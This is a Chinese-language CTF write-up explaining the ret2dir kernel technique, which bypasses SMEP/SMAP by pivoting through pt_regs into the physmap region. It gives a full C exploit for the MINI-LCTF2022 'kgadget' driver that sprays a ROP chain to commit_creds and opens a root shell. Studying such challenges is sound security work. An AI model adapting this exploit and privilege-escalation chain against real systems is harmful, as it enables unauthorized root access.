介紹
ret2dir
是哥倫比亞大學網絡安全實驗室在 2014 年提出的一種輔助攻擊手法,主要用來繞過 smep、smap、pxn 等用戶空間與內核空間隔離的防護手段,
原論文見此處: ret2dir原文論文
參考:kernel pwn入門到大神
ret2dir
ret2dir原理
在開啟了smep/smap
后,內核空間到用戶空間的直接訪問被禁止,也就是傳統的ret2usr
失效了,如下圖(圖片來源于論文)。
為饒過這種限制,原文作者找到了一段區域,可以隱式的訪問到用戶空間數據。在內核空間就能訪問到用戶空間的數據,該區域也被稱為phsymap
,是很大一段的虛擬內存,映射了整個物理內存。
這片區域叫做:direct mapping of all physical memory
這個映射區其實就是內核空間會與物理地址空間進行線性的映射,我們可以在這段區域直接訪問到物理地址對應的內容。
下圖就是在論文中對ret2dir
這種攻擊的示例圖,不和ret2usr
一樣,指針不是指向用戶空間,而是指向直接映射區域,在用戶空間構造的payload
也會映射到物理地址,所以只要在phsymap區域
找到用戶空間的payload
就能執行。在高版本內核中 direct mapping area
沒有可執行權限需要通過ROP利用。
因此若能獲得指向存在payload
的用戶空間對應的物理地址在phsymap
位置,就能夠直接執行用戶空間的payload
- 通過讀取
/proc/pid/pagemap
可獲取映射地址,該文件中存放了物理地址與虛擬地址的映射關系,可是該文件需要root
權限才能讀取. - 利用
堆噴技術
往phsymap
區域填充大量payload
,提高命中概率。
ret2dir手法總結:
- 利用mmap或者堆噴技術在用戶空間噴射大量相同的payload
- 隨機挑選direct mapping area上的地址,大概率命中寫入的payload
pt_regs
系統調用:用戶態布置好相應的參數后執行 syscall
進入到內核中的 entry_SYSCALL_64
,隨后通過系統調用表
跳轉到對應的函數
entry_SYSCALL_64
:當程序進入到內核態時,該函數會將所有的寄存器壓入內核棧上,形成一個 pt_regs 結構體
,該結構體實質上位于內核棧底.
entry_SYSCALL_64
定義在arch/x86/entry/entry_64.S
pt_regs
定義在arch/x86/include/asm/ptrace.h
struct pt_regs {
/** C ABI says these regs are callee-preserved. They aren't saved on kernel entry* unless syscall needs a complete, fully filled "struct pt_regs".*/unsigned long r15;unsigned long r14;unsigned long r13;unsigned long r12;unsigned long rbp;unsigned long rbx;
/* These regs are callee-clobbered. Always saved on kernel entry. */unsigned long r11;unsigned long r10;unsigned long r9;unsigned long r8;unsigned long rax;unsigned long rcx;unsigned long rdx;unsigned long rsi;unsigned long rdi;
/** On syscall entry, this is syscall#. On CPU exception, this is error code.* On hw interrupt, it's IRQ number:*/unsigned long orig_rax;
/* Return frame for iretq */unsigned long rip;unsigned long cs;unsigned long eflags;unsigned long rsp;unsigned long ss;
/* top of stack page */
};
內核棧只有一個頁面的大小,而pt_regs
固定在內核棧底部,當可以劫持到rip
的時候,需要通過rop
來控制rsp
可以使用到pt_regs
來構造ROP。
注意:
-
在內核版本
5.13
之前pt_regs 結構體
和棧頂的偏移值基本是固定的(因為內核棧只有一個 page),通常可以借助add rsp, val ; ret 的 gadget
劫持一處函數指針就能實現進一步ROP
利用。 -
但是,在
5.13 及之后
的do_syscall_64
函數入口處,新增了一行
add_random_kstack_offset();
,來源于 2021 年 的一個 commit,效果是在棧底的pt_regs
之上放了一個不超過 0x3FF 的偏移,使得利用的穩定性大幅下降。
模板:
__asm__("mov r15, 0xbeefdead;""mov r14, 0x11111111;""mov r13, 0x22222222;""mov r12, 0x33333333;""mov rbp, 0x44444444;""mov rbx, 0x55555555;""mov r11, 0x66666666;""mov r10, 0x77777777;""mov r9, 0x88888888;""mov r8, 0x99999999;""xor rax, rax;""mov rcx, 0xaaaaaaaa;""mov rdx, 8;""mov rsi, rsp;""mov rdi, seq_fd;" // 這里假定通過 seq_operations->stat 來觸發"syscall"
);
系統調用在內核棧的底部會被壓入形成pt_regs結構體,如果這個時候控制了rip
,使用add rsp,0xn;ret;
配合pt_regs
完成ROP
。
MINI-LCTF2022 - kgadget
先看run.sh
開了smep/smap
但是沒開Kaslr
kgadget_ioctl(漏洞點)
當我們輸入的操作碼為0x1BF52
時,會將rdx寄存器
中的值
進行解引用,并且以函數的方式調用該地址,這就導致了任意地址執行。
利用
程序很簡單,就是傳入數據(rdx)
,然后再做了清除pt_regs
操作之后,call [rdx](call rbx)
,這里pt_regs
沒清理完全還有r8 r9
殘留可以使用
但是開了smep/sma
p,直接在內核態執行用戶代碼會報錯,沒開kaslr
,現在只能控制rip
,可以利用pt_regs
手法劫持rsp
跳到direct區域
,然后使用mmap
在phsymap
噴射大量提權payload
,然后利用direct地址映射訪問payload
然后返回用戶態getshell
這里先給出exp
然后一步步調試
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <fcntl.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/ioctl.h>size_t user_cs, user_ss, user_rflags, user_sp;
size_t nokalsr_kernel_base = 0xffffffff81000000;
size_t prepare_kernel_cred = 0xffffffff810c9540;
size_t commit_creds = 0xffffffff810c92e0;
size_t init_cred = 0xffffffff82a6b700;
size_t swapgs_restore_regs_and_return_to_usermode = 0xffffffff81c00fb0+0x1b;
size_t pop_rdi_ret = 0xffffffff8108c6f0;
size_t ret = 0xffffffff810001fc;
size_t pop_rsp_ret = 0xffffffff811483d0;
size_t add_rsp_ = 0xffffffff81488561; //add rsp, 0xa8; pop rbx; pop r12; pop rbp; ret;size_t target;
int fd;void save_status()
{__asm__("mov user_cs, cs;""mov user_ss, ss;""mov user_sp, rsp;""pushf;""pop user_rflags;");puts("[*]status has been saved.");
}void get_shell(){if(getuid()==0){printf("\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m\n");system("/bin/sh");}else{puts("[-] get root shell failed.");exit(-1);}
}void copy_dir(){size_t *payload;size_t idx = 0;payload = mmap(NULL,4096,PROT_READ | PROT_WRITE | PROT_EXEC,MAP_ANONYMOUS | MAP_PRIVATE,-1,0);for(int i =0;i<(4096-0xc0-0x58)/8;i++){payload[idx++] = add_rsp_;}for(int j = 0;j<0xc0/8;j++){payload[idx++] = ret;}payload[idx++] = pop_rdi_ret;payload[idx++] = init_cred;payload[idx++] = commit_creds;payload[idx++] = swapgs_restore_regs_and_return_to_usermode;payload[idx++] = 0;payload[idx++] = 0;payload[idx++] = (size_t)get_shell;payload[idx++] = user_cs;payload[idx++] = user_rflags;payload[idx++] = user_sp;payload[idx++] = user_ss;
}int main(){save_status();fd = open("/dev/kgadget",O_RDWR);for(int i =0;i<0x4000;i++){copy_dir();}target = 0xFFFF888000000000 + 0x6000000;__asm__("mov r15, 0xbeefdead;""mov r14, 0x11111111;""mov r13, 0x22222222;""mov r12, 0x33333333;""mov rbp, 0x44444444;""mov rbx, 0x55555555;""mov r11, 0x66666666;""mov r10, 0x77777777;""mov r9, pop_rsp_ret;""mov r8, target;""mov rcx, 0xaaaaaaaa;""mov rdx, target;" "mov rsi, 0x1bf52;""mov rdi, fd;" "mov rax, 0x10;""syscall");return 0;
}
先在調用ioctl
后要執行call rbx
前下斷點:
b *0xffffffffc0002000+0x160
然后查看棧的數據:
可以看到pt_regs
已經被壓入棧,并且我們的r8,r9
寄存器還是我們想要的值。
后續利用pt_regs
控制rsp
到直接映射區。
先看看映射區的內容吧:
可以看到phsymap
區域的值通過映射已經填上了我們用戶空間的payload
然后si繼續執行,通過call rbx
成功執行我們的小部分payload
因為這時 rsp
并不在phsymap區域上
,如果我們沒有改變r8 r9
寄存器的值,當我們執行完 pop rbp; ret
后就不能執行phsymap
區域上后面的代碼了,而是ret
到其它地方。
但我們這里把r9改成了pop rsp的地址
,r8是我們要跳到的phsymap地址
,通過棧遷移,把rsp
改到我們的phsymap區域
,如下:
可以看到我們把棧都遷移到我們的phsymap
區域了,然后依次執行我們的ROP
補充:
一
利用extract-vmlinux ./bzImage > ./vmlinux
提取vmlinux時提取不了
可以用vmlinux-to-elf
這個工具
vmlinux-to-elf ./bzImage vmlinux
二
如同之前內核ROP,我們同樣需要找到swapgs、iretq
等語句,但是在本題當中并未尋找到滿足的gadget
,但是我們將vmlinux
拖入IDA進行分析可以獲知出題人在內核種提供了一個函數名叫swapgs_restoer_regs_and_return_to_usermode
,如下:
.text:FFFFFFFF81C00FB0 public swapgs_restore_regs_and_return_to_usermode
.text:FFFFFFFF81C00FB0 swapgs_restore_regs_and_return_to_usermode proc near
.text:FFFFFFFF81C00FB0 ; CODE XREF: ret_from_fork+15↑j
.text:FFFFFFFF81C00FB0 ; entry_SYSCALL_64_after_hwframe+54↑j
.text:FFFFFFFF81C00FB0 ; entry_SYSCALL_64_after_hwframe+65↑j
.text:FFFFFFFF81C00FB0 ; entry_SYSCALL_64_after_hwframe+74↑j
.text:FFFFFFFF81C00FB0 ; entry_SYSCALL_64_after_hwframe+87↑j
.text:FFFFFFFF81C00FB0 ; entry_SYSCALL_64_after_hwframe+94↑j
.text:FFFFFFFF81C00FB0 ; entry_SYSCALL_64_after_hwframe+A3↑j
.text:FFFFFFFF81C00FB0 ; error_return+E↓j
.text:FFFFFFFF81C00FB0 ; asm_exc_nmi+93↓j
.text:FFFFFFFF81C00FB0 ; entry_SYSENTER_compat_after_hwframe+4F↓j
.text:FFFFFFFF81C00FB0 ; entry_SYSCALL_compat_after_hwframe+47↓j
.text:FFFFFFFF81C00FB0 ; entry_INT80_compat+85↓j
.text:FFFFFFFF81C00FB0 ; DATA XREF: print_graph_irq+D↑o
.text:FFFFFFFF81C00FB0 ; print_graph_entry+59↑o
.text:FFFFFFFF81C00FB0 90 nop ; Alternative name is '__irqentry_text_end'
.text:FFFFFFFF81C00FB1 90 nop
.text:FFFFFFFF81C00FB2 90 nop
.text:FFFFFFFF81C00FB3 90 nop
.text:FFFFFFFF81C00FB4 90 nop
.text:FFFFFFFF81C00FB5 41 5F pop r15
.text:FFFFFFFF81C00FB7 41 5E pop r14
.text:FFFFFFFF81C00FB9 41 5D pop r13
.text:FFFFFFFF81C00FBB 41 5C pop r12
.text:FFFFFFFF81C00FBD 5D pop rbp
.text:FFFFFFFF81C00FBE 5B pop rbx
.text:FFFFFFFF81C00FBF 41 5B pop r11
.text:FFFFFFFF81C00FC1 41 5A pop r10
.text:FFFFFFFF81C00FC3 41 59 pop r9
.text:FFFFFFFF81C00FC5 41 58 pop r8
.text:FFFFFFFF81C00FC7 58 pop rax
.text:FFFFFFFF81C00FC8 59 pop rcx
.text:FFFFFFFF81C00FC9 5A pop rdx
.text:FFFFFFFF81C00FCA 5E pop rsi ;直到這里可以發現咱們是在主動恢復一些當時中斷保存的pt_regs寄存器組
.text:FFFFFFFF81C00FCB 48 89 E7 mov rdi, rsp ;我們可以跳過這些寄存器直接開整
.text:FFFFFFFF81C00FCE 65 48 8B 24 25 04 60 00 00 mov rsp, gs:qword_6004
.text:FFFFFFFF81C00FD7 FF 77 30 push qword ptr [rdi+30h]
.text:FFFFFFFF81C00FDA FF 77 28 push qword ptr [rdi+28h]
.text:FFFFFFFF81C00FDD FF 77 20 push qword ptr [rdi+20h]
.text:FFFFFFFF81C00FE0 FF 77 18 push qword ptr [rdi+18h]
.text:FFFFFFFF81C00FE3 FF 77 10 push qword ptr [rdi+10h]
.text:FFFFFFFF81C00FE6 FF 37 push qword ptr [rdi]
.text:FFFFFFFF81C00FE8 50 push rax
.text:FFFFFFFF81C00FE9 EB 43 jmp short loc_FFFFFFFF81C0102E
...........
.text:FFFFFFFF81C0102E loc_FFFFFFFF81C0102E: ; CODE XREF: swapgs_restore_regs_and_return_to_usermode+39↑j
.text:FFFFFFFF81C0102E 58 pop rax ;這里pop了兩個值,所以需要在ROP種填充
.text:FFFFFFFF81C0102F 5F pop rdi
.text:FFFFFFFF81C01030 0F 01 F8 swapgs
.text:FFFFFFFF81C01033 FF 25 47 8D E4 00 jmp cs:off_FFFFFFFF82A49D80 ;iretq
從這個名字也可以看出他是為了在中斷例程結束后,從內核態返回用戶態時所調用的函數,他首先會pop大量的寄存器來還原當時的環境,這里我們并不需要,所以我們需要的開始執行的地址就從0xFFFFFFFF81C00FCB
進行咱們的利用,從這力同樣可以返回用戶態,因此這就是我們所需要的。